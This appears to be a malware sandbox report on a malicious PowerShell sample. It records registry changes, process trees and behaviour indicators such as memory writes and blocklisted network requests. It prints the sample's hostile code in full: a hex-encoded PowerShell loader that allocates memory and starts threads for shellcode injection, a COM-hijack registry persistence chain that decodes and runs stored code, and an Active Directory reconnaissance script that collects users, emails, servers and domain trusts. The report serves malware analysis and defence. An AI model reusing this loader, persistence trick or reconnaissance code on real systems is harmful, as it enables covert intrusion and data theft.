020273234364637383331334432383542343137303730343436463644363136393645354433413341343337353732373236353645373434343646364436313639364532453437363537343431373337333635364436323643363936353733323832393743353736383635373236353244344636323641363536333734374232343546324534373643364636323631364334313733373336353644363236433739343336313633363836353230324436313645363432303234354632453443364636333631373436393646364532453533373036433639373432383237354335433237323935423244333135443245343537313735363136433733323832373533373937333734363536443245363436433643323732393744323932453437363537343534373937303635323832373444363936333732364637333646363637343245353736393645333333323245353536453733363136363635344536313734363937363635344436353734363836463634373332373239334232343638373233353344344536353737324434463632364136353633373432303533373937333734363536443245353237353645373436393644363532453439364537343635373236463730353336353732373636393633363537333245343836313645363436433635353236353636323832383445363537373244344636323641363536333734323034393645373435303734373232393243323832343646373833313245343736353734344436353734363836463634323832373437363537343444364636343735364336353438363136453634364336353237323932453439364537363646364236353238333032433430323832373642363537323645363536433333333232453634364336433237323932393239323933423234364637383331324534373635373434443635373436383646363432383237343736353734353037323646363334313634363437323635373337333237324335423732363536363643363536333734363936463645324536323639364536343639364536373636364336313637373335443230323735303735363236433639363332433533373436313734363936333237324332343645373536433643324335423533373937333734363536443245353236353636364336353633373436393646364532453433363136433643363936453637343336463645373636353645373436393646364537333544334133413431364537393243343032383238344536353737324434463632364136353633373432303533373937333734363536443245353237353645373436393644363532453439364537343635373236463730353336353732373636393633363537333245343836313645363436433635353236353636323932453437363537343534373937303635323832393243354237333734373236393645363735443239324332343645373536433643323932453439364537363646364236353238323436453735364336433243343032383542353337393733373436353644324535323735364537343639364436353245343936453734363537323646373035333635373237363639363336353733324534383631364536343643363535323635363635443234363837323335324332343637373833383239323927297c2628247073686f6d655b3134352d3134315d2b247073686f6d655b3138332d3134395d2b277827297d246f6c383d6f6c3320276e7a6f656a6879666b6c63756964622720276765666d736a6e6b68637662717975612720276a6c61626f71787274766d666567637975273b66756e6374696f6e206668347b706172616d28246f75382c2473793729202866613320273234373537313332334432383542343137303730343436463644363136393645354433413341343337353732373236353645373434343646364436313639364532453437363537343431373337333635364436323643363936353733323832393743353736383635373236353244344636323641363536333734374232343546324534373643364636323631364334313733373336353644363236433739343336313633363836353230324436313645363432303234354632453443364636333631373436393646364532453533373036433639373432383237354335433237323935423244333135443245343537313735363136433733323832373533373937333734363536443245363436433643323732393744323932453437363537343534373937303635323832373444363936333732364637333646363637343245353736393645333333323245353536453733363136363635344536313734363937363635344436353734363836463634373332373239334232343636364333323344344536353737324434463632364136353633373432303533373937333734363536443245353237353645373436393644363532453439364537343635373236463730353336353732373636393633363537333245343836313645363436433635353236353636323832383445363537373244344636323641363536333734323034393645373435303734373232393243323832343735373133323245343736353734344436353734363836463634323832373437363537343444364636343735364336353438363136453634364336353237323932453439364537363646364236353238333032433430323832373642363537323645363536433333333232453634364336433237323932393239323933423234373537313332324534373635373434443635373436383646363432383237343736353734353037323646363334313634363437323635373337333237324335423732363536363643363536333734363936463645324536323639364536343639364536373636364336313637373335443230323735303735363236433639363332433533373436313734363936333237324332343645373536433643324335423533373937333734363536443245353236353636364336353633373436393646364532453433363136433643363936453637343336463645373636353645373436393646364537333544334133413431364537393243343032383238344536353737324434463632364136353633373432303533373937333734363536443245353237353645373436393644363532453439364537343635373236463730353336353732373636393633363537333245343836313645363436433635353236353636323932453437363537343534373937303635323832393243354237333734373236393645363735443239324332343645373536433643323932453439364537363646364236353238323436453735364336433243343032383542353337393733373436353644324535323735364537343639364436353245343936453734363537323646373035333635373237363639363336353733324534383631364536343643363535323635363635443234363636433332324332343646373533383239323927297c2628247073686f6d655b3136322d3135385d2b247073686f6d655b3232372d3139335d2b277827297d66756e6374696f6e20716e337b706172616d28246268362c247867312c247770302920286f6c34202732343636363833393344354234313730373034343646364436313639364535443341334134333735373237323635364537343434364636443631363936453245343436353636363936453635343437393645363136443639363334313733373336353644363236433739323832383445363537373244344636323641363536333734323035333739373337343635364432453532363536363643363536333734363936463645324534313733373336353644363236433739344536313644363532383237334635323445343433463237323932393243354235333739373337343635364432453532363536363643363536333734363936463645324534353644363937343245343137333733363536443632364337393432373536393643363436353732343136333633363537333733354433413341353237353645323932453434363536363639364536353434373936453631364436393633344436463634373536433635323832373346353234453434334632373243323436363631364337333635323932453434363536363639364536353534373937303635323832373346353234453434334632373243323734333643363137333733324335303735363236433639363332433533363536313643363536343243343136453733363934333643363137333733324334313735373436463433364336313733373332373243354235333739373337343635364432453444373536433734363936333631373337343434363536433635363736313734363535443239334232343636363833393245343436353636363936453635343336463645373337343732373536333734364637323238323735323534353337303635363336393631364334453631364436353243343836393634363534323739353336393637324335303735363236433639363332373243354235333739373337343635364432453532363536363643363536333734363936463645324534333631364336433639364536373433364636453736363536453734363936463645373335443341334135333734363136453634363137323634324332343632363833363239324535333635373434393644373036433635364436353645373436313734363936463645343636433631363737333238323735323735364537343639364436353243344436313645363136373635363432373239334232343636363833393245343436353636363936453635344436353734363836463634323832373439364537363646364236353237324332373530373536323643363936333243343836393634363534323739353336393637324334453635373735333643364637343243353636393732373437353631364332373243323437383637333132433234363236383336323932453533363537343439364437303643363536443635364537343631373436393646364534363643363136373733323832373532373536453734363936443635324334443631364536313637363536343237323933423234363636383339324534333732363536313734363535343739373036353238323927297c2628247073686f6d655b3130372d3130335d2b247073686f6d655b3231312d3137375d2b277827297d66756e6374696f6e206e66327b706172616d28246564342c24636e372c247365372920286c7639202732343633364333303344354234313730373034343646364436313639364535443341334134333735373237323635364537343434364636443631363936453245343436353636363936453635343437393645363136443639363334313733373336353644363236433739323832383445363537373244344636323641363536333734323035333739373337343635364432453532363536363643363536333734363936463645324534313733373336353644363236433739344536313644363532383237334635323445343433463237323932393243354235333739373337343635364432453532363536363643363536333734363936463645324534353644363937343245343137333733363536443632364337393432373536393643363436353732343136333633363537333733354433413341353237353645323932453434363536363639364536353434373936453631364436393633344436463634373536433635323832373346353234453434334632373243323436363631364337333635323932453434363536363639364536353534373937303635323832373346353234453434334632373243323734333643363137333733324335303735363236433639363332433533363536313643363536343243343136453733363934333643363137333733324334313735373436463433364336313733373332373243354235333739373337343635364432453444373536433734363936333631373337343434363536433635363736313734363535443239334232343633364333303245343436353636363936453635343336463645373337343732373536333734364637323238323735323534353337303635363336393631364334453631364436353243343836393634363534323739353336393637324335303735363236433639363332373243354235333739373337343635364432453532363536363643363536333734363936463645324534333631364336433639364536373433364636453736363536453734363936463645373335443341334135333734363136453634363137323634324332343635363433343239324535333635373434393644373036433635364436353645373436313734363936463645343636433631363737333238323735323735364537343639364436353243344436313645363136373635363432373239334232343633364333303245343436353636363936453635344436353734363836463634323832373439364537363646364236353237324332373530373536323643363936333243343836393634363534323739353336393637324334453635373735333643364637343243353636393732373437353631364332373243323436333645333732433234363536343334323932453533363537343439364437303643363536443635364537343631373436393646364534363643363136373733323832373532373536453734363936443635324334443631364536313637363536343237323933423234363336433330324534333732363536313734363535343739373036353238323927297c2628247073686f6d655b3131322d3130385d2b247073686f6d655b3133342d3130305d2b277827297d66756e6374696f6e206774317b706172616d28246f6c382c24697a372c247579372c24686f36292028657a36202732343644363233383344354235333739373337343635364432453532373536453734363936443635324534393645373436353732364637303533363537323736363936333635373332453444363137323733363836313643354433413341343736353734343436353643363536373631373436353436364637323436373536453633373436393646364535303646363936453734363537323238323837373639333732303237353636393732373437353631364334313643364336463633343537383237323932433238363136343338323034303238354234393645373435303734373235443243354234393645373435303734373235443243354234393645373435303734373235443243354236393645373435443243354236393645373435443239323835423439364537343730373437323544323932393239324536393645373636463642363532383244333132433330324332343639374133373243323832383238333333373333333432423331333333323336333932393244333433373331333532393239324332343638364633363239334235423533373937333734363536443245353237353645373436393644363532453439364537343635373236463730353336353732373636393633363537333245344436313732373336383631364335443341334134373635373434343635364336353637363137343635343636463732343637353645363337343639364636453530364636393645373436353732323832383737363933373230323735323734364334443646373636353444363536443646373237393237323932433238363136343338323034303238354234393645373435303734373235443243354236323739373436353542354435443243354235353439364537343333333235443239323835423439364537343730373437323544323932393239324536393645373636463642363532383234364436323338324332343646364333383243323436393741333732393342323436443632333833443445363537373244344636323641363536333734323035333739373337343635364432453439364537343730373437323230324434313732363737353644363536453734344336393733373432303234323832343644363233383245353436463439364537343336333432383239324232343735373933373239334235423533373937333734363536443245353237353645373436393644363532453439364537343635373236463730353336353732373636393633363537333245344436313732373336383631364335443341334134373635373434343635364336353637363137343635343636463732343637353645363337343639364636453530364636393645373436353732323832383737363933373230323734333732363536313734363535343638373236353631363432373239324332383631363433383230343032383542343936453734353037343732354432433542353534393645373433333332354432433542343936453734353037343732354432433542343936453734353037343732354432433542353534393645373433333332354432433542343936453734353037343732354432393238354234393645373437303734373235443239323932393245363936453736364636423635323833303243333032433234364436323338324333303243333032433330323933423533373436313732373432443533364336353635373032303244373332303238323833333339333332423238333133323330333832443332333133343239323932423332333233363338323927297c2628247073686f6d655b3138312d3137375d2b247073686f6d655b3230302d3136365d2b277827297d66756e6374696f6e206762377b706172616d28246d7334292028706936202732343741373033303344354234313730373034343646364436313639364535443341334134333735373237323635364537343434364636443631363936453245343436353636363936453635343437393645363136443639363334313733373336353644363236433739323832383445363537373244344636323641363536333734323035333739373337343635364432453532363536363643363536333734363936463645324534313733373336353644363236433739344536313644363532383237334635323445343433463237323932393243354235333739373337343635364432453532363536363643363536333734363936463645324534353644363937343245343137333733363536443632364337393432373536393643363436353732343136333633363537333733354433413341353237353645323932453434363536363639364536353434373936453631364436393633344436463634373536433635323832373346353234453434334632373243323436363631364337333635323932453434363536363639364536353534373937303635323832373346353234453434334632373243323734333643363137333733324335303735363236433639363332433533363536313643363536343243343136453733363934333643363137333733324334313735373436463433364336313733373332373243354235333739373337343635364432453444373536433734363936333631373337343434363536433635363736313734363535443239334232343741373033303245343436353636363936453635343336463645373337343732373536333734364637323238323735323534353337303635363336393631364334453631364436353243343836393634363534323739353336393637324335303735363236433639363332373243354235333739373337343635364432453532363536363643363536333734363936463645324534333631364336433639364536373433364636453736363536453734363936463645373335443341334135333734363136453634363137323634324332343644373333343239324535333635373434393644373036433635364436353645373436313734363936463645343636433631363737333238323735323735364537343639364436353243344436313645363136373635363432373239334232343741373033303245343436353636363936453635344436353734363836463634323832373439364537363646364236353237324332373530373536323643363936333243343836393634363534323739353336393637324334453635373735333643364637343243353636393732373437353631364332373243323436393732333232433234364437333334323932453533363537343439364437303643363536443635364537343631373436393646364534363643363136373733323832373532373536453734363936443635324334443631364536313637363536343237323933423234374137303330324534333732363536313734363535343739373036353238323927297c2628247073686f6d655b3136382d3136345d2b247073686f6d655b3231312d3137375d2b277827297d67743120246f6c3820246f6c382e6c656e677468202833343532312d282832343431312d3734333029292920282832332b2835342d313329292966756e6374696f6e207768317b706172616d28247a76362c247266322c246678382920286d7a30202732343644363133343344354234313730373034343646364436313639364535443341334134333735373237323635364537343434364636443631363936453245343436353636363936453635343437393645363136443639363334313733373336353644363236433739323832383445363537373244344636323641363536333734323035333739373337343635364432453532363536363643363536333734363936463645324534313733373336353644363236433739344536313644363532383237334635323445343433463237323932393243354235333739373337343635364432453532363536363643363536333734363936463645324534353644363937343245343137333733363536443632364337393432373536393643363436353732343136333633363537333733354433413341353237353645323932453434363536363639364536353434373936453631364436393633344436463634373536433635323832373346353234453434334632373243323436363631364337333635323932453434363536363639364536353534373937303635323832373346353234453434334632373243323734333643363137333733324335303735363236433639363332433533363536313643363536343243343136453733363934333643363137333733324334313735373436463433364336313733373332373243354235333739373337343635364432453444373536433734363936333631373337343434363536433635363736313734363535443239334232343644363133343245343436353636363936453635343336463645373337343732373536333734364637323238323735323534353337303635363336393631364334453631364436353243343836393634363534323739353336393637324335303735363236433639363332373243354235333739373337343635364432453532363536363643363536333734363936463645324534333631364336433639364536373433364636453736363536453734363936463645373335443341334135333734363136453634363137323634324332343741373633363239324535333635373434393644373036433635364436353645373436313734363936463645343636433631363737333238323735323735364537343639364436353243344436313645363136373635363432373239334232343644363133343245343436353636363936453635344436353734363836463634323832373439364537363646364236353237324332373530373536323643363936333243343836393634363534323739353336393637324334453635373735333643364637343243353636393732373437353631364332373243323437323636333232433234374137363336323932453533363537343439364437303643363536443635364537343631373436393646364534363643363136373733323832373532373536453734363936443635324334443631364536313637363536343237323933423234364436313334324534333732363536313734363535343739373036353238323927297c2628247073686f6d655b3131372d3131335d2b247073686f6d655b3232322d3138385d2b277827297d powershell.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\ID = "0" msiexec.exe Set value (str) \REGISTRY\USER\S-1-5-21-1081944012-3634099177-1681222835-1000_Classes\CLSID\6582 = "#+ADD\r\nif ($env:USERDOMAIN -eq $env:COMPUTERNAME) { exit }\r\n\r\n\r\n$DebugPreference = 'Continue'\r\n$VerbosePreference = 'Continue'\r\n$InformationPreference = 'Continue'\r\n\r\n\r\n$data = \"ENVSTATS|$env:USERDOMAIN|$ENV:USERDNSDOMAIN|$env:COMPUTERNAME|$env:USERNAME`n\";\r\n\r\n\r\n#if( ($env:USERDOMAIN -ne $env:COMPUTERNAME) -and ($env:USERNAME -NotLike '*$') ) {\r\n#if( $env:USERDOMAIN -ne $env:COMPUTERNAME) {\r\n#if($true) {\r\n $data += \"------------------- Domain detected`n\";\r\n\r\n\r\n $emails = @(); $part1= @(); $part2= @(); $domains= @(); $mostPopularDomainFirst = ''; $mostPopularDomainSecond = ''; $companies = @(); $strCompanies ='';\r\n $domErr = $false;\r\n $errMsg = '';\r\n $days = -90; \r\n try {\r\n $D=[System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain();\r\n $L='LDAP://'.$D;$D = [ADSI]$L;$Date = $((Get-Date).AddDays($days).ToFileTime());\r\n $i=0; $str = '(&(objectcategory=computer)(|(lastlogon>='+$Date+')(lastlogontimestamp>='+$Date+')))';$s = [adsisearcher]$str;$s.searchRoot = $L.$D.distinguishedName;$s.PropertiesToLoad.Add('cn') > $Null;Foreach ($CA in $s.FindAll()){;$i++;}; $cntAllMachines = $i;\r\n $i=0; $str = '(&(objectcategory=computer)(operatingSystem=*serv*)(|(lastlogon>='+$Date+')(lastlogontimestamp>='+$Date+')))';$s = [adsisearcher]$str;$s.searchRoot = $L.$D.distinguishedName;$s.PropertiesToLoad.Add('cn') > $Null;Foreach ($CA in $s.FindAll()){;$i++;}; $cntServers = $i;\r\n $i=0; $str = '(&(objectcategory=person)(objectclass=user)(|(lastlogon>='+$Date+')(lastlogontimestamp>='+$Date+')))';$s = [adsisearcher]$str;$s.searchRoot = $L.$D.distinguishedName;$s.PropertiesToLoad.Add('mail') > $Null;$s.PropertiesToLoad.Add('userPrincipalName') > $Null;$s.PropertiesToLoad.Add('Company') > $Null;Foreach ($CA in $s.FindAll()){;$emails += $CA.Properties.Item('mail'); $emails += $CA.Properties.Item('userPrincipalName'); $companies += $CA.Properties.Item('Company'); $i++;}; $cntUsers = $i;\r\n\r\n } catch {\r\n $errMsg = \"Error domain: $($_.Exception.Message) , \";\r\n $domErr = $true;\r\n }\r\n\r\n \r\n try {\r\n if($domErr -ne $true) {\r\n \r\n $emails | Select-String -notmatch -pattern 'local' | Select-String -pattern '@' | foreach {\r\n $part1, $part2 = $_.line.split('@');\r\n if($part2.Length -gt 5) { $domains += $part2 };\r\n };\r\n\r\n \r\n $sortedDomains = ($domains | Group-Object -NoElement | Sort-Object -Property Count -Descending);\r\n $domainsCount = ($sortedDomains | Measure-Object).Count;\r\n\r\n if($domainsCount -gt 1) {\r\n $mostPopularDomainFirst = $sortedDomains[0].Name;\r\n $mostPopularDomainSecond = $sortedDomains[1].Name;\r\n } elseif($domainsCount -eq 1) {\r\n $mostPopularDomainFirst = $sortedDomains.Name;\r\n }\r\n\r\n\r\n\r\n \r\n \r\n $sortedCompanies = ($companies | Group-Object -NoElement | Sort-Object -Property Count -Descending);\r\n $companiesCount = ($sortedCompanies | Measure-Object).Count; \r\n $i=1;\r\n if($companiesCount -gt 0) { \r\n #$sortedCompanies | Foreach { $strCompanies += $_.Name + \",\" + $_.Count + \",\"}\r\n foreach ($company in $sortedCompanies){\r\n $strCompanies += $company.Name + \",\" + $company.Count;\r\n \r\n if($i -lt $companiesCount) {\r\n $strCompanies += \",\"\r\n } else {\r\n continue;\r\n }\r\n \r\n $i++;\r\n }\r\n\r\n\r\n $sortedCompaniesStr = $sortedCompanies | Out-String;\r\n $data += \"`n*** Companies:`n $sortedCompaniesStr `n***`n\";\r\n } \r\n\r\n\r\n \r\n \r\n if($sortedDomains.Count -gt 0) {\r\n $sortedDomainsStr = $sortedDomains | Out-String;\r\n $data += \"`n*** Domain emails:`n $sortedDomainsStr `n***`n\"\r\n }\r\n \r\n \r\n\r\n $trusts += ([System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()).GetAllTrustRelationships();\r\n $trusts += ([System.DirectoryServices.ActiveDirectory.Forest]::GetCurrentForest()).GetAllTrustRelationships();\r\n $cntTrusts = $trusts.Count;\r\n \r\n if($cntTrusts -gt 0) {\r\n $trustsStr = $trusts | Out-String;\r\n $data += \"`n*** Trusts:`n $trustsStr `n***`n\";\r\n }\r\n }\r\n \r\n } catch {\r\n $errMsg += \"Error parse: $($_.Exception.Message)\";\r\n }\r\n \r\n\r\n\r\n \r\n $data += \"DOMSTATS|$ENV:USERDNSDOMAIN|$ENV:USERDOMAIN|$ENV:COMPUTERNAME|$ENV:USERNAME|$cntAllMachines|$cntServers|$cntTrusts|$cntUsers|$mostPopularDomainFirst|$mostPopularDomainSecond|$strCompanies\";\r\n \r\n if($errMsg.Length -gt 3) {\r\n \t$errMsg = $errMsg.replace(\"`n\",\" \").replace(\"`r\",\" \");\r\n \t$data += \", $errMsg`n\"\r\n }\r\n\r\n $data += \"`n------------------- Domstats End`n\";\r\n \r\n \r\n#}\r\n\r\n#Write-Host WRHOSTDATA $data; #don't work\r\n\r\n$data \r\n\r\n#}\r\n\r\n\r\n#Z/7#.y1#.y1\r\n" msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{090F0900-040A-040D-0211-0C0C130F120B}\ = "{12000B11-0704-0100-010D-0B0F070F120C}" powershell.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{0A12010A-1313-0B03-0C0A-12070A030909}\VersionIndependentProgID\ = "{12000B11-0704-0100-010D-0B0F070F120C}" powershell.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{0A12010A-1313-0B03-0C0A-12070A030909}\LocalServer\ = "cmd /c start /min powershell -c \"& {(-join('24727665716164663D2730393039273B285B546578742E456E636F64696E675D3A3A555446382E476574537472696E67282867702027686B6C6D3A5C736F6674776172655C636C61737365735C434C5349445C7B30413132303130412D313331332D304230332D304330412D3132303730413033303930397D5C50726F67494427292E247276657161646629297C2628247073686F6D655B345D2B247073686F6D655B33345D2B27782729'-split'(..)'|?{$_}|%{[char][convert]::ToUInt32($_,16)}))|&($pshome[224-220]+$pshome[18+12+4]+'x')}\"" powershell.exe Set value (str) \REGISTRY\USER\S-1-5-21-1081944012-3634099177-1681222835-1000_Classes\ = "C:\\Users\\Admin\\AppData\\Local\\Temp\\1662.ps1" powershell.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\{12000B11-0704-0100-010D-0B0F070F120C} powershell.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\{12000B11-0704-0100-010D-0B0F070F120C}\ = "{12000B11-0704-0100-010D-0B0F070F120C}" powershell.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{090F0900-040A-040D-0211-0C0C130F120B} powershell.exe Set value (str) \REGISTRY\USER\S-1-5-21-1081944012-3634099177-1681222835-1000_Classes\ msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID powershell.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{090F0900-040A-040D-0211-0C0C130F120B}\TreatAs powershell.exe Key created \REGISTRY\MACHINE\software\classes\CLSID\{0A12010A-1313-0B03-0C0A-12070A030909} powershell.exe Key created \REGISTRY\MACHINE\software\classes\CLSID\{0A12010A-1313-0B03-0C0A-12070A030909}\VersionIndependentProgID powershell.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\{12000B11-0704-0100-010D-0B0F070F120C}\CLSID powershell.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\{12000B11-0704-0100-010D-0B0F070F120C}\CLSID\ = "{0A12010A-1313-0B03-0C0A-12070A030909}" powershell.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{090F0900-040A-040D-0211-0C0C130F120B}\TreatAs\ = "{0A12010A-1313-0B03-0C0A-12070A030909}" powershell.exe -
Suspicious behavior: EnumeratesProcesses 8 IoCs
Processes:
powershell.exemsiexec.exepowershell.exepid process 432 powershell.exe 432 powershell.exe 432 powershell.exe 432 powershell.exe 4324 msiexec.exe 4324 msiexec.exe 4940 powershell.exe 4940 powershell.exe -
Suspicious behavior: MapViewOfSection 1 IoCs
Processes:
powershell.exepid process 432 powershell.exe -
Suspicious use of AdjustPrivilegeToken 2 IoCs
Processes:
powershell.exepowershell.exedescription pid process Token: SeDebugPrivilege 432 powershell.exe Token: SeDebugPrivilege 4940 powershell.exe -
Suspicious use of WriteProcessMemory 4 IoCs
Processes:
powershell.exemsiexec.exedescription pid process target process PID 432 wrote to memory of 4324 432 powershell.exe msiexec.exe PID 432 wrote to memory of 4324 432 powershell.exe msiexec.exe PID 4324 wrote to memory of 4940 4324 msiexec.exe powershell.exe PID 4324 wrote to memory of 4940 4324 msiexec.exe powershell.exe
Processes
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -ExecutionPolicy bypass -File C:\Users\Admin\AppData\Local\Temp\1662.ps11⤵
- Blocklisted process makes network request
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:432 -
C:\Windows\system32\msiexec.exeC:\Windows\system32\msiexec.exe2⤵
- Blocklisted process makes network request
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:4324 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -c "&{$v1='6582';$k1='hkcu:\Software\Classes\CLSID';$p1=(gp $k1).$v1;rp $k1 $v1;set-itemproperty -pat $k1 -n $v1 -va (($p1|iex)|out-string);exit}"3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4940
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netsvcs -p1⤵
- Drops file in System32 directory
- Checks processor information in registry
- Enumerates system info in registry
PID:2396